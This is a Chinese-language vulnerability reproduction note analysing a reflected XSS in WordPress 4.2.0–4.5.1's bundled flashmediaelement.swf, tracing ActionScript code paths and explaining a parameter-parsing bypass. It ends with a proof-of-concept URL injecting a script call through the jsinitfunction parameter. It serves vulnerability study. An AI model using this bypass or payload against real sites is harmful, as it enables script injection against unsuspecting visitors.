漏洞復現 | WordPress 4.2.0-4.5.1 flashmediaelement.swf 反射型 XSS

  • 2019 年 10 月 6 日
  • 筆記

一、下載測試源碼進行搭建

搭建教程:http://www.internetke.com/website/webinfo/2015/1217/1855.html

二、分析源碼

https://github.com/mediaelement/mediaelement/blob/2.18.1/src/  https://midzer0.github.io/2016/wordpress-4.5.1-xss/

1、Vulnerable Output

首先來看存在漏洞的輸出, 99%的Flash XSS都是由於ExternalInterface.call函數的參數注入導致的, 當然本次也不例外. 拿到源碼之後, 第一件事就是看看源碼中出現了幾次調用ExternalInterface.call, 對應的參數是否都是可控的. 在排除了幾個參數不可控或者已經做了對應防注入的調用, 唯一剩下的就是下面的代碼。

public class Log {     private static const LEVEL_INFO : String = "INFO:";     private static const LEVEL_DEBUG : String = "DEBUG:";     private static const LEVEL_WARN : String = "WARN:";     private static const LEVEL_ERROR : String = "ERROR:";     public staticfunction info(message : *) : void {       if (HLSSettings.logInfo) outputlog(LEVEL_INFO, String(message)); };     public static functiondebug(message : *) : void {       if (HLSSettings.logDebug) outputlog(LEVEL_DEBUG, String(message)); };     public static functiondebug2(message : *) : void {       if (HLSSettings.logDebug2) outputlog(LEVEL_DEBUG, String(message)); };     public static functionwarn(message : *) : void {       if (HLSSettings.logWarn) outputlog(LEVEL_WARN, String(message)); };     public static functionerror(message : *) : void {       if (HLSSettings.logError) outputlog(LEVEL_ERROR, String(message)); };       /** Log a message to the console. **/     private static function outputlog(level : String, message : String) : void {       if (ExternalInterface.available) ExternalInterface.call('console.log', level + message);       else trace(level + message);       }  };

只要攻擊者能夠控制傳入Log類下5個靜態方法的參數, 就可以觸發XSS. 在默認的HLSSettings裏面(同時也是WordPress里flashmediaelement.swf的設置), 只有logInfo/logError/logWarn這三個屬性被設置為true, 所以我們着重跟蹤Log.info/Log.warn/Log.error這三個方法. 通過跟蹤代碼發現, HLS類中的dispatchEvent方法調用了Log.error這個方法, 傳入的參數是HLSEvent類的error屬性。 通過跟蹤代碼發現, HLS類中的dispatchEvent方法調用了Log.error這個方法, 傳入的參數是HLSEvent類的error屬性。

/** Forward internal errors. **/  override public function dispatchEvent(event : Event) : Boolean {   if (event.type == HLSEvent.ERROR) {     CONFIG::LOGGING {       Log.error((event as HLSEvent).error);      }      _hlsNetStream.close();    }    returnsuper.dispatchEvent(event);  };

繼續查看HLSEvent類中error屬性的定義

public class HLSEvent extends Event {  /* ... */ /** The error message. **/  public var error : HLSError;  /* ... *//** Assign event parameter and dispatch. **/  public function HLSEvent(type : String, parameter : *=null) {   switch(type) {   /* ... */   case HLSEvent.ERROR:     error = parameter as HLSError;     break;     /* ... */     }     super(type, false, false);   };  }

繼續看HLSError的定義

  public class HLSError {   public static const OTHER_ERROR : int = 0;   public static const MANIFEST_LOADING_CROSSDOMAIN_ERROR : int = 1;   public static const MANIFEST_LOADING_IO_ERROR : int = 2;   public static const MANIFEST_PARSING_ERROR : int = 3;   public static const FRAGMENT_LOADING_CROSSDOMAIN_ERROR : int = 4;   public static const FRAGMENT_LOADING_ERROR : int = 5;   public static const FRAGMENT_PARSING_ERROR : int = 6;   public static const KEY_LOADING_CROSSDOMAIN_ERROR : int = 7;   public static const KEY_LOADING_ERROR : int = 8;   public static const KEY_PARSING_ERROR : int = 9;   public static constTAG_APPENDING_ERROR : int = 10; private var _code : int;   private var _url : String;   private var _msg : String; public function HLSError(code : int, url : String, msg : String) {   _code = code; _url = url; _msg = msg; }   public function get code() : int {       return _code;      }    public function get msg() : String {       return _msg;      }   public function get url() : String {       return _url;      }   public function toString() : String {       return "HLSError(code/url/msg)=" + _code + "/" + _url + "/" + _m  sg;       }   }

toString的方法會將HLSError類中的_code/_url/_msg三個屬性輸出, 這三個參數均是通過構造函數從外部傳入, 並通過變量名來推測, 很有可能是攻擊者可控的。

我們再縷一遍XSS攻擊中可能的數據流。

攻擊者控制的部分參數傳入HLSError的構造函數的url/msg參數, 生成一個惡意的HLSError對象a, 這個惡意對象a又作為parameter參數傳入了HLSEvent的構造函數, 生成一個惡意的HLSEvent對象b, 最後, 惡意對象b作為event參數被傳入dispatchEvent函數, 進入Log.error時被隱式轉換為字符串類型, 觸發了toString方法, 對應的返回值傳入了ExternalInterface.call函數, 導致XSS.

2、Evil Input

再回過頭來看看輸入端. flashmediaelement.swf對外部的輸入有兩層防禦. 第一層, 它會檢查所有的參數是否包含惡意字符, 如果包含, 則直接返回終止執行; 第二層, 它會檢查外部傳入的參數是否是在URL中的QueryString出現過, 如果是, 則刪除該部分, 避免直接通過URL傳參。

public class FlashMediaElement extends MovieClip { public function FlashMediaElement() {     // 第一層, 檢查參數是否包含非法字符     checkFlashVars(loaderInfo.parameters);   if (securityIssue) {       return;     }   // 第二層, 忽略所有從URL中傳入的參數     var params:Object, pos:int, query:Object;     params = LoaderInfo(this.root.loaderInfo).parameters;     pos = root.loaderInfo.url.indexOf('?');     if (pos !== -1) {       query = parseStr(root.loaderInfo.url.substr(pos + 1));     for (var key:String in params) {         if (query.hasOwnProperty(trim(key))) {           delete params[key];         }       }     }     /* ... */   } /* ... */   private function checkFlashVars(p:Object):void {     var i:Number = 0;     for (var s:String in p) {       if (isIllegalChar(p[s], s === 'file')) {         securityIssue = true; // Illegal char found       }       i++;     }     if(i === 0 || securityIssue) {       directAccess = true;     }   } /* ... */   private function isIllegalChar(s:String, isUrl:Boolean):Boolean {     var illegals:String = "' " ( ) { } * + \ < >";     if(isUrl) {       illegals = "" { } \ < >";     }     if(Boolean(s)) { // Otherwise exception if parameter null.       for each (var illegal:String in illegals.split(' ')) {         if(s.indexOf(illegal) >= 0) {           return true; // Illegal char found         }       }     }     return false;   } /* ... */   private static function parseStr (str:String) : Object {     var hash:Object = {},       arr1:Array, arr2:Array;   str = unescape(str).replace(/+/g, " ");   arr1 = str.split('&');     if (!arr1.length) {       return {};     }   for (var i:uint = 0, length:uint = arr1.length; i < length; i++) {       arr2 = arr1[i].split('=');       if (!arr2.length) {         continue;       }       hash[trim(arr2[0])] = trim(arr2[1]);     }     return hash;   }  }

對於第二層防止直接從URL傳參的防禦, 可以利用Flash Player對URL參數的解析和flashmediaelement.swf代碼中對URL參數的解析的差異進行繞過. Flash Player會丟棄URL里%後非16進制的字符, 所以a.swf?a%s=b對於Flash Player來說是給a賦值b, 但對於flashmediaelement.swf中的代碼邏輯而言, 是給a%s賦值b, 這樣就可以利用兩者的不一致性繞過這一檢測. 但對於第一層的檢測, 目前沒有更好的辦法進行繞過, 只能查看flashmediaelement.swf是否會通過讀取傳入的URL中的內容, 給目標參數賦值, 如果可以的話, 那麼我們就可以通過污染URL的內容, 而不是URL本身, 執行參數注入, 達到繞過第一層檢測的目的。 通過上述的分析, 查找所有調用dispatchEvent函數的地方, 分析其傳入的參數, 發現如下:

private function _fragLoadErrorHandler(event : ErrorEvent) : void {     if (event is SecurityErrorEvent) {         var txt : String = "Cannot load fragment: crossdomain access denied:" + event.text;         var hlsError : HLSError = new HLSError(HLSError.FRAGMENT_LOADING_CROSSDOMAIN_ERROR, _frag_current.url, txt);         _hls.dispatchEvent(new HLSEvent(HLSEvent.ERROR, hlsError));     } else {         _fraghandleIOError("HTTP status:" + _frag_load_status + ",msg:" + event.text);     }  };

上述代碼是加載fragment時的一個處理錯誤的handler, 當加載的fragment為一外域的資源, 且該域的crossdomain.xml不允許swf所在域與其通信時, 會拋出一個hlsError的實例, 其中的參數就包含試圖加載的fragment的url. 通過查詢M3U8的文件格式, 我們可以通過文件內容指定加載的fragment的URL。

三、構造POC

http://127.0.0.1/wordpress/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert'1'